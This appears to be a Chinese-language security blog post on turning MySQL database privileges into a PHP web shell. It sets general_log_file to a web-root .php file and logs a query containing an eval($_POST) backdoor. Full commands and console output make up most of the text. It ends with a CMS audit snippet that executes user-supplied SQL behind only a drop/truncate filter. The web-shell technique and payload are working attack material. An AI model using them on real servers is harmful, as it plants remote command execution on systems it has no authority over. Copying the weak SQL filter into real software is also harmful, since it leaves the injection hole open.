Mysql db 权限写入shell

在Sql注入中Mysql db权限可以直接写入Shell。一般都是利用outfile进行本地文件写入,但是在Mysql某个版本开始此函数被默认禁止。

    mysql> show variables like '%secure%';
    +------------------+-------+
    | Variable_name    | Value |
    +------------------+-------+
    | secure_auth      | OFF   |
    | secure_file_priv | NULL  |
    +------------------+-------+
    2 rows in set (0.00 sec)

且无法通过sql语句启动此设置,如果需要启用该配置则需要配置mysql配置文件在其中添加
secure_file_priv=(路径&或为空)然后重启mysql 后来大佬们发现一种更改Mysql日志的情况进行Getshell。

    set global general_log = on;
    set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/12.php';
    select '<?php eval($_POST[cmd];);?>'
    mysql> set global general_log = on;
    Query OK, 0 rows affected (0.01 sec)
    
    mysql> set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/12.php';
    Query OK, 0 rows affected (0.01 sec)
    
    mysql> select '<?php eval($_POST[cmd];);?>'
        -> ;
    +-----------------------------+
    | <?php eval($_POST[cmd];);?> |
    +-----------------------------+
    | <?php eval($_POST[cmd];);?> |
    +-----------------------------+
    1 row in set (0.00 sec)
    
    mysql> show variables like '%general%';
    +------------------+------------------------------------+
    | Variable_name    | Value                              |
    +------------------+------------------------------------+
    | general_log      | ON                                 |
    | general_log_file | C:/phpStudy/PHPTutorial/WWW/12.php |
    +------------------+------------------------------------+
    2 rows in set (0.00 sec)

在某CMS审计中遇到一处前台具备SQL查询功能的操作。

    $sql = explode(';', $_POST['sql']);
                    foreach ($sql as $value) {
                        $value = trim($value);
                        // 不允许执行删除操作
                        if ($value && ! preg_match('/(^|[\s]+)(drop|truncate)[\s]+/i', $value)) {
                            $this->model->amd($value);
                        }